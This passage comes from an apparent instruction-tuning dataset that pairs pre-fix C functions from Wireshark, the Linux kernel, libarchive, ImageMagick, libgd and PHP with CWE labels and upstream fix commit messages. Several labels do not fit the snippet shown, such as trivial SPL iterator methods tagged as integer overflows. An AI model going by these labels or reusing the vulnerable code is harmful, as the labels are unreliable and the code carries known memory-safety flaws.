direction[] */\n\tnum_items_scanned = sscanf(line, \"%9d] %2d:%2d:%2d.%9d %9s %9s\",\n\t\t\t&pktnum, &hr, &min, &sec, &csec, channel, direction);\n\n\tif (num_items_scanned != 7) {\n\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t*err_info = g_strdup(\"toshiba: record header isn't valid\");\n\t\treturn FALSE;\n\t}\n\n\t/* Scan lines until we find the OFFSET line. In a \"telnet\" trace,\n\t * this will be the next line. But if you save your telnet session\n\t * to a file from within a Windows-based telnet client, it may\n\t * put in line breaks at 80 columns (or however big your \"telnet\" box\n\t * is). CRT (a Windows telnet app from VanDyke) does this.\n\t * Here we assume that 80 columns will be the minimum size, and that\n\t * the OFFSET line is not broken in the middle. It's the previous\n\t * line that is normally long and can thus be broken at column 80.\n\t */\n\tdo {\n\t\tif (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {\n\t\t\t*err = file_error(fh, err_info);\n\t\t\tif (*err == 0) {\n\t\t\t\t*err = WTAP_ERR_SHORT_READ;\n\t\t\t}\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t/* Check for \"OFFSET 0001-0203\" at beginning of line */\n\t\tline[16] = '\\0';\n\n\t} while (strcmp(line, \"OFFSET 0001-0203\") != 0);\n\n\tnum_items_scanned = sscanf(line+64, \"LEN=%9d\", &pkt_len);\n\tif (num_items_scanned != 1) {\n\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t*err_info = g_strdup(\"toshiba: OFFSET line doesn't have valid LEN item\");\n\t\treturn FALSE;\n\t}\n\n\tphdr->rec_type = REC_TYPE_PACKET;\n\tphdr->presence_flags = WTAP_HAS_TS|WTAP_HAS_CAP_LEN;\n\tphdr->ts.secs = hr * 3600 + min * 60 + sec;\n\tphdr->ts.nsecs = csec * 10000000;\n\tphdr->caplen = pkt_len;\n\tphdr->len = pkt_len;\n\n\tswitch (channel[0]) {\n\t\tcase 'B':\n\t\t\tphdr->pkt_encap = WTAP_ENCAP_ISDN;\n\t\t\tpseudo_header->isdn.uton = (direction[0] == 'T');\n\t\t\tpseudo_header->isdn.channel = (guint8)\n\t\t\t strtol(&channel[1], NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'D':\n\t\t\tphdr->pkt_encap = WTAP_ENCAP_ISDN;\n\t\t\tpseudo_header->isdn.uton = (direction[0] == 'T');\n\t\t\tpseudo_header->isdn.channel = 0;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tphdr->pkt_encap = WTAP_ENCAP_ETHERNET;\n\t\t\t/* XXX - is there an FCS in the frame? */\n\t\t\tpseudo_header->eth.fcs_len = -1;\n\t\t\tbreak;\n\t}\n\n\t/* Make sure we have enough room for the packet */\n\tws_buffer_assure_space(buf, TOSHIBA_MAX_PACKET_LEN);\n\tpd = ws_buffer_start_ptr(buf);\n\n\t/* Calculate the number of hex dump lines, each\n\t * containing 16 bytes of data */\n\thex_lines = pkt_len / 16 + ((pkt_len % 16) ? 1 : 0);\n\n\tfor (i = 0; i < hex_lines; i++) {\n\t\tif (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {\n\t\t\t*err = file_error(fh, err_info);\n\t\t\tif (*err == 0) {\n\t\t\t\t*err = WTAP_ERR_SHORT_READ;\n\t\t\t}\n\t\t\treturn FALSE;\n\t\t}\n\t\tif (!parse_single_hex_dump_line(line, pd, i * 16)) {\n\t\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t\t*err_info = g_strdup(\"toshiba: hex dump not valid\");\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-125'], 'message': 'Fix packet length handling.\n\nTreat the packet length as unsigned - it shouldn't be negative in the\nfile. If it is, that'll probably cause the sscanf to fail, so we'll\nreport the file as bad.\n\nCheck it against WTAP_MAX_PACKET_SIZE to make sure we don't try to\nallocate a huge amount of memory, just as we do in other file readers.\n\nUse the now-validated packet size as the length in\nws_buffer_assure_space(), so we are certain to have enough space, and\ndon't allocate too much space.\n\nBug: 12394\nChange-Id: Ifa023ce70f7a2697bf151009b035a6e6cf8d5d90\nReviewed-on: https://code.wireshark.org/review/15169\nReviewed-by: Guy Harris '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_netscreen_hex_dump(FILE_T fh, int pkt_len, const char *cap_int,\n const char *cap_dst, struct wtap_pkthdr *phdr, Buffer* buf,\n int *err, gchar **err_info)\n{\n\tguint8\t*pd;\n\tgchar\tline[NETSCREEN_LINE_LENGTH];\n\tgchar\t*p;\n\tint\tn, i = 0, offset = 0;\n\tgchar\tdststr[13];\n\n\t/* Make sure we have enough room for the packet */\n\tws_buffer_assure_space(buf, NETSCREEN_MAX_PACKET_LEN);\n\tpd = ws_buffer_start_ptr(buf);\n\n\twhile(1) {\n\n\t\t/* The last packet is not delimited by an empty line, but by EOF\n\t\t * So accept EOF as a valid delimiter too\n\t\t */\n\t\tif (file_gets(line, NETSCREEN_LINE_LENGTH, fh) == NULL) {\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * Skip blanks.\n\t\t * The number of blanks is not fixed - for wireless\n\t\t * interfaces, there may be 14 extra spaces before\n\t\t * the hex data.\n\t\t */\n\t\tfor (p = &line[0]; g_ascii_isspace(*p); p++)\n\t\t\t;\n\t\t/* packets are delimited with empty lines */\n\t\tif (*p == '\\0') {\n\t\t\tbreak;\n\t\t}\n\n\t\tn = parse_single_hex_dump_line(p, pd, offset);\n\n\t\t/* the smallest packet has a length of 6 bytes, if\n\t\t * the first hex-data is less then check whether\n\t\t * it is a info-line and act accordingly\n\t\t */\n\t\tif (offset == 0 && n < 6) {\n\t\t\tif (info_line(line)) {\n\t\t\t\tif (++i <= NETSCREEN_MAX_INFOLINES) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t\t\t*err_info = g_strdup(\"netscreen: cannot parse hex-data\");\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\n\t\t/* If there is no more data and the line was not empty,\n\t\t * then there must be an error in the file\n\t\t */\n\t\tif(n == -1) {\n\t\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t\t*err_info = g_strdup(\"netscreen: cannot parse hex-data\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t/* Adjust the offset to the data that was just added to the buffer */\n\t\toffset += n;\n\n\t\t/* If there was more hex-data than was announced in the len=x\n\t\t * header, then then there must be an error in the file\n\t\t */\n\t\tif(offset > pkt_len) {\n\t\t\t*err = WTAP_ERR_BAD_FILE;\n\t\t\t*err_info = g_strdup(\"netscreen: too much hex-data\");\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\t/*\n\t * Determine the encapsulation type, based on the\n\t * first 4 characters of the interface name\n\t *\n\t * XXX\tconvert this to a 'case' structure when adding more\n\t *\t(non-ethernet) interfacetypes\n\t */\n\tif (strncmp(cap_int, \"adsl\", 4) == 0) {\n\t\t/* The ADSL interface can be bridged with or without\n\t\t * PPP encapsulation. Check whether the first six bytes\n\t\t * of the hex data are the same as the destination mac\n\t\t * address in the header. If they are, assume ethernet\n\t\t * LinkLayer or else PPP\n\t\t */\n\t\tg_snprintf(dststr, 13, \"%02x%02x%02x%02x%02x%02x\",\n\t\t pd[0], pd[1], pd[2], pd[3], pd[4], pd[5]);\n\t\tif (strncmp(dststr, cap_dst, 12) == 0)\n\t\t\tphdr->pkt_encap = WTAP_ENCAP_ETHERNET;\n\t\telse\n\t\t\tphdr->pkt_encap = WTAP_ENCAP_PPP;\n\t\t}\n\telse if (strncmp(cap_int, \"seri\", 4) == 0)\n\t\tphdr->pkt_encap = WTAP_ENCAP_PPP;\n\telse\n\t\tphdr->pkt_encap = WTAP_ENCAP_ETHERNET;\n\n\tphdr->caplen = offset;\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix packet length handling.\n\nTreat the packet length as unsigned - it shouldn't be negative in the\nfile. If it is, that'll probably cause the sscanf to fail, so we'll\nreport the file as bad.\n\nCheck it against WTAP_MAX_PACKET_SIZE to make sure we don't try to\nallocate a huge amount of memory, just as we do in other file readers.\n\nUse the now-validated packet size as the length in\nws_buffer_assure_space(), so we are certain to have enough space, and\ndon't allocate too much space.\n\nMerge the header and packet data parsing routines while we're at it.\n\nBug: 12396\nChange-Id: I7f981f9cdcbea7ecdeb88bfff2f12d875de2244f\nReviewed-on: https://code.wireshark.org/review/15176\nReviewed-by: Guy Harris '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void schedule_debug(struct task_struct *prev)\n{\n#ifdef CONFIG_SCHED_STACK_END_CHECK\n\tBUG_ON(task_stack_end_corrupted(prev));\n#endif\n\n\tif (unlikely(in_atomic_preempt_off())) {\n\t\t__schedule_bug(prev);\n\t\tpreempt_count_set(PREEMPT_DISABLED);\n\t}\n\trcu_sleep_check();\n\n\tprofile_hit(SCHED_PROFILING, __builtin_return_address(0));\n\n\tschedstat_inc(this_rq(), sched_count);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'sched: panic on corrupted stack end\n\nUntil now, hitting this BUG_ON caused a recursive oops (because oops\nhandling involves do_exit(), which calls into the scheduler, which in\nturn raises an oops), which caused stuff below the stack to be\noverwritten until a panic happened (e.g. via an oops in interrupt\ncontext, caused by the overwritten CPU index in the thread_info).\n\nJust panic directly.\n\nSigned-off-by: Jann Horn \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_device(dev_t *pdev, struct archive *a, char *val)\n{\n#define MAX_PACK_ARGS 3\n\tunsigned long numbers[MAX_PACK_ARGS];\n\tchar *p, *dev;\n\tint argc;\n\tpack_t *pack;\n\tdev_t result;\n\tconst char *error = NULL;\n\n\tmemset(pdev, 0, sizeof(*pdev));\n\tif ((dev = strchr(val, ',')) != NULL) {\n\t\t/*\n\t\t * Device's major/minor are given in a specified format.\n\t\t * Decode and pack it accordingly.\n\t\t */\n\t\t*dev++ = '\\0';\n\t\tif ((pack = pack_find(val)) == NULL) {\n\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,\n\t\t\t \"Unknown format `%s'\", val);\n\t\t\treturn ARCHIVE_WARN;\n\t\t}\n\t\targc = 0;\n\t\twhile ((p = la_strsep(&dev, \",\")) != NULL) {\n\t\t\tif (*p == '\\0') {\n\t\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,\n\t\t\t\t \"Missing number\");\n\t\t\t\treturn ARCHIVE_WARN;\n\t\t\t}\n\t\t\tnumbers[argc++] = (unsigned long)mtree_atol(&p);\n\t\t\tif (argc > MAX_PACK_ARGS) {\n\t\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,\n\t\t\t\t \"Too many arguments\");\n\t\t\t\treturn ARCHIVE_WARN;\n\t\t\t}\n\t\t}\n\t\tif (argc < 2) {\n\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,\n\t\t\t \"Not enough arguments\");\n\t\t\treturn ARCHIVE_WARN;\n\t\t}\n\t\tresult = (*pack)(argc, numbers, &error);\n\t\tif (error != NULL) {\n\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,\n\t\t\t \"%s\", error);\n\t\t\treturn ARCHIVE_WARN;\n\t\t}\n\t} else {\n\t\t/* file system raw value. */\n\t\tresult = (dev_t)mtree_atol(&val);\n\t}\n\t*pdev = result;\n\treturn ARCHIVE_OK;\n#undef MAX_PACK_ARGS\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-119'], 'message': 'Fix libarchive/archive_read_support_format_mtree.c:1388:11: error: array subscript is above array bounds'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: check_entry_size_and_hooks(struct ipt_entry *e,\n\t\t\t struct xt_table_info *newinfo,\n\t\t\t const unsigned char *base,\n\t\t\t const unsigned char *limit,\n\t\t\t const unsigned int *hook_entries,\n\t\t\t const unsigned int *underflows,\n\t\t\t unsigned int valid_hooks)\n{\n\tunsigned int h;\n\tint err;\n\n\tif ((unsigned long)e % __alignof__(struct ipt_entry) != 0 ||\n\t (unsigned char *)e + sizeof(struct ipt_entry) >= limit ||\n\t (unsigned char *)e + e->next_offset > limit) {\n\t\tduprintf(\"Bad offset %p\\n\", e);\n\t\treturn -EINVAL;\n\t}\n\n\tif (e->next_offset\n\t < sizeof(struct ipt_entry) + sizeof(struct xt_entry_target)) {\n\t\tduprintf(\"checking: element %p size %u\\n\",\n\t\t\t e, e->next_offset);\n\t\treturn -EINVAL;\n\t}\n\n\tif (!ip_checkentry(&e->ip))\n\t\treturn -EINVAL;\n\n\terr = xt_check_entry_offsets(e, e->target_offset, e->next_offset);\n\tif (err)\n\t\treturn err;\n\n\t/* Check hooks & underflows */\n\tfor (h = 0; h < NF_INET_NUMHOOKS; h++) {\n\t\tif (!(valid_hooks & (1 << h)))\n\t\t\tcontinue;\n\t\tif ((unsigned char *)e - base == hook_entries[h])\n\t\t\tnewinfo->hook_entry[h] = hook_entries[h];\n\t\tif ((unsigned char *)e - base == underflows[h]) {\n\t\t\tif (!check_underflow(e)) {\n\t\t\t\tpr_debug(\"Underflows must be unconditional and \"\n\t\t\t\t\t \"use the STANDARD target with \"\n\t\t\t\t\t \"ACCEPT/DROP\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t\tnewinfo->underflow[h] = underflows[h];\n\t\t}\n\t}\n\n\t/* Clear counters and comefrom */\n\te->counters = ((struct xt_counters) { 0, 0 });\n\te->comefrom = 0;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'netfilter: x_tables: check for bogus target offset\n\nWe're currently asserting that targetoff + targetsize <= nextoff.\n\nExtend it to also check that targetoff is >= sizeof(xt_entry).\nSince this is generic code, add an argument pointing to the start of the\nmatch/target, we can then derive the base structure size from the delta.\n\nWe also need the e->elems pointer in a followup change to validate matches.\n\nSigned-off-by: Florian Westphal \nSigned-off-by: Pablo Neira Ayuso '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline unsigned int ReadPropertyUnsignedLong(const EndianType endian,\n const unsigned char *buffer)\n{\n unsigned int\n value;\n\n if (endian == LSBEndian)\n {\n value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n (buffer[1] << 8 ) | (buffer[0]));\n return((unsigned int) (value & 0xffffffff));\n }\n value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n (buffer[2] << 8) | buffer[3]);\n return((unsigned int) (value & 0xffffffff));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-125'], 'message': 'Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int snd_compress_check_input(struct snd_compr_params *params)\n{\n\t/* first let's check the buffer parameter's */\n\tif (params->buffer.fragment_size == 0 ||\n\t\t\tparams->buffer.fragments > SIZE_MAX / params->buffer.fragment_size)\n\t\treturn -EINVAL;\n\n\t/* now codec parameters */\n\tif (params->codec.id == 0 || params->codec.id > SND_AUDIOCODEC_MAX)\n\t\treturn -EINVAL;\n\n\tif (params->codec.ch_in == 0 || params->codec.ch_out == 0)\n\t\treturn -EINVAL;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'ALSA: compress: fix an integer overflow check\n\nI previously added an integer overflow check here but looking at it now,\nit's still buggy.\n\nThe bug happens in snd_compr_allocate_buffer(). We multiply\n\".fragments\" and \".fragment_size\" and that doesn't overflow but then we\nsave it in an unsigned int so it truncates the high bits away and we\nallocate a smaller than expected size.\n\nFixes: b35cc8225845 ('ALSA: compress_core: integer overflow in snd_compr_allocate_buffer()')\nSigned-off-by: Dan Carpenter \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int gdAlphaBlend (int dst, int src) {\n int src_alpha = gdTrueColorGetAlpha(src);\n int dst_alpha, alpha, red, green, blue;\n int src_weight, dst_weight, tot_weight;\n\n/* -------------------------------------------------------------------- */\n/* Simple cases we want to handle fast. */\n/* -------------------------------------------------------------------- */\n if( src_alpha == gdAlphaOpaque )\n return src;\n\n dst_alpha = gdTrueColorGetAlpha(dst);\n if( src_alpha == gdAlphaTransparent )\n return dst;\n if( dst_alpha == gdAlphaTransparent )\n return src;\n\n/* -------------------------------------------------------------------- */\n/* What will the source and destination alphas be? Note that */\n/* the destination weighting is substantially reduced as the */\n/* overlay becomes quite opaque. */\n/* -------------------------------------------------------------------- */\n src_weight = gdAlphaTransparent - src_alpha;\n dst_weight = (gdAlphaTransparent - dst_alpha) * src_alpha / gdAlphaMax;\n tot_weight = src_weight + dst_weight;\n \n/* -------------------------------------------------------------------- */\n/* What red, green and blue result values will we use? */\n/* -------------------------------------------------------------------- */\n alpha = src_alpha * dst_alpha / gdAlphaMax;\n\n red = (gdTrueColorGetRed(src) * src_weight\n + gdTrueColorGetRed(dst) * dst_weight) / tot_weight;\n green = (gdTrueColorGetGreen(src) * src_weight\n + gdTrueColorGetGreen(dst) * dst_weight) / tot_weight;\n blue = (gdTrueColorGetBlue(src) * src_weight\n + gdTrueColorGetBlue(dst) * dst_weight) / tot_weight;\n\n/* -------------------------------------------------------------------- */\n/* Return merged result. */\n/* -------------------------------------------------------------------- */\n return ((alpha << 24) + (red << 16) + (green << 8) + blue);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'iFixed bug #72446 - Integer Overflow in gdImagePaletteToTrueColor() resulting in heap overflow'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: This function initializes all buffers for the specific module */\nPHP_FUNCTION(mcrypt_generic_init)\n{\n\tchar *key, *iv;\n\tint key_len, iv_len;\n\tzval *mcryptind;\n\tunsigned char *key_s, *iv_s;\n\tint max_key_size, key_size, iv_size;\n\tphp_mcrypt *pm;\n\tint result = 0;\n\t\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"rss\", &mcryptind, &key, &key_len, &iv, &iv_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tZEND_FETCH_RESOURCE(pm, php_mcrypt *, &mcryptind, -1, \"MCrypt\", le_mcrypt);\n\n\tmax_key_size = mcrypt_enc_get_key_size(pm->td);\n\tiv_size = mcrypt_enc_get_iv_size(pm->td);\n\n\tif (key_len == 0) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Key size is 0\");\n\t}\n\n\tkey_s = emalloc(key_len);\n\tmemset(key_s, 0, key_len);\n\n\tiv_s = emalloc(iv_size + 1);\n\tmemset(iv_s, 0, iv_size + 1);\n\n\tif (key_len > max_key_size) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Key size too large; supplied length: %d, max: %d\", key_len, max_key_size);\n\t\tkey_size = max_key_size;\n\t} else {\n\t\tkey_size = key_len;\n\t}\n\tmemcpy(key_s, key, key_len);\n\n\tif (iv_len != iv_size) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Iv size incorrect; supplied length: %d, needed: %d\", iv_len, iv_size);\n\t\tif (iv_len > iv_size) {\n\t\t\tiv_len = iv_size;\n\t\t}\n\t}\n\tmemcpy(iv_s, iv, iv_len);\n\n\tmcrypt_generic_deinit(pm->td);\n\tresult = mcrypt_generic_init(pm->td, key_s, key_size, iv_s);\n\n\t/* If this function fails, close the mcrypt module to prevent crashes\n\t * when further functions want to access this resource */\n\tif (result < 0) {\n\t\tzend_list_delete(Z_LVAL_P(mcryptind));\n\t\tswitch (result) {\n\t\t\tcase -3:\n\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Key length incorrect\");\n\t\t\t\tbreak;\n\t\t\tcase -4:\n\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Memory allocation error\");\n\t\t\t\tbreak;\n\t\t\tcase -1:\n\t\t\tdefault:\n\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Unknown error\");\n\t\t\t\tbreak;\n\t\t}\n\t} else {\n\t\tpm->init = 1;\n\t}\n\tRETVAL_LONG(result);\n\n\tefree(iv_s);\n\tefree(key_s); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72455: Heap Overflow due to integer overflows'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Returns TRUE if the mode is for use with block algorithms */\nPHP_FUNCTION(mcrypt_module_is_block_algorithm_mode)\n{\n\tMCRYPT_GET_MODE_DIR_ARGS(modes_dir)\n\t\n\tif (mcrypt_module_is_block_algorithm_mode(module, dir) == 1) {\n\t\tRETURN_TRUE;\n\t} else {\n\t\tRETURN_FALSE;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72455: Heap Overflow due to integer overflows'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int snd_compr_allocate_buffer(struct snd_compr_stream *stream,\n\t\tstruct snd_compr_params *params)\n{\n\tunsigned int buffer_size;\n\tvoid *buffer;\n\n\tbuffer_size = params->buffer.fragment_size * params->buffer.fragments;\n\tif (stream->ops->copy) {\n\t\tbuffer = NULL;\n\t\t/* if copy is defined the driver will be required to copy\n\t\t * the data from core\n\t\t */\n\t} else {\n\t\tbuffer = kmalloc(buffer_size, GFP_KERNEL);\n\t\tif (!buffer)\n\t\t\treturn -ENOMEM;\n\t}\n\tstream->runtime->fragment_size = params->buffer.fragment_size;\n\tstream->runtime->fragments = params->buffer.fragments;\n\tstream->runtime->buffer = buffer;\n\tstream->runtime->buffer_size = buffer_size;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'ALSA: compress_core: integer overflow in snd_compr_allocate_buffer()\n\nThese are 32 bit values that come from the user, we need to check for\ninteger overflows or we could end up allocating a smaller buffer than\nexpected.\n\nSigned-off-by: Dan Carpenter \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void spl_filesystem_dir_it_current_data(zend_object_iterator *iter, zval ***data TSRMLS_DC)\n{\n\tspl_filesystem_iterator *iterator = (spl_filesystem_iterator *)iter;\n\t\n\t*data = &iterator->current;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(DirectoryIterator, key)\n{\n\tspl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (intern->u.dir.dirp) {\n\t\tRETURN_LONG(intern->u.dir.index);\n\t} else {\n\t\tRETURN_FALSE;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(RecursiveDirectoryIterator, getSubPath)\n{\n\tspl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (intern->u.dir.sub_path) {\n\t\tRETURN_STRINGL(intern->u.dir.sub_path, intern->u.dir.sub_path_len, 1);\n\t} else {\n\t\tRETURN_STRINGL(\"\", 0, 1);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int spl_filesystem_file_read_csv(spl_filesystem_object *intern, char delimiter, char enclosure, char escape, zval *return_value TSRMLS_DC) /* {{{ */\n{\n\tint ret = SUCCESS;\n\t\n\tdo {\n\t\tret = spl_filesystem_file_read(intern, 1 TSRMLS_CC);\n\t} while (ret == SUCCESS && !intern->u.file.current_line_len && SPL_HAS_FLAG(intern->flags, SPL_FILE_OBJECT_SKIP_EMPTY));\n\t\n\tif (ret == SUCCESS) {\n\t\tsize_t buf_len = intern->u.file.current_line_len;\n\t\tchar *buf = estrndup(intern->u.file.current_line, buf_len);\n\n\t\tif (intern->u.file.current_zval) {\n\t\t\tzval_ptr_dtor(&intern->u.file.current_zval);\n\t\t}\n\t\tALLOC_INIT_ZVAL(intern->u.file.current_zval);\n\n\t\tphp_fgetcsv(intern->u.file.stream, delimiter, enclosure, escape, buf_len, buf, intern->u.file.current_zval TSRMLS_CC);\n\t\tif (return_value) {\n\t\t\tif (Z_TYPE_P(return_value) != IS_NULL) {\n\t\t\t\tzval_dtor(return_value);\n\t\t\t\tZVAL_NULL(return_value);\n\t\t\t}\n\t\t\tZVAL_ZVAL(return_value, intern->u.file.current_zval, 1, 0);\n\t\t}\n\t}\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(FilesystemIterator, key)\n{\n\tspl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (SPL_FILE_DIR_KEY(intern, SPL_FILE_DIR_KEY_AS_FILENAME)) {\n\t\tRETURN_STRING(intern->u.dir.entry.d_name, 1);\n\t} else {\n\t\tspl_filesystem_object_get_file_name(intern TSRMLS_CC);\n\t\tRETURN_STRINGL(intern->file_name, intern->file_name_len, 1);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72262 - do not overflow int'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(GlobIterator, count)\n{\n\tspl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (php_stream_is(intern->u.dir.dirp ,&php_glob_stream_ops)) {\n\t\tRETURN_LONG(php_glob_stream_get_count(intern->u.dir.dirp, NULL));\n\t} else {\n\t\t/* should not happen */\n\t\tphp_error_docref(NULL TSRMLS_CC, E_ERROR, \"GlobIterator lost glob state\");\n\t}\n} ; Sample JSON Format Confermily 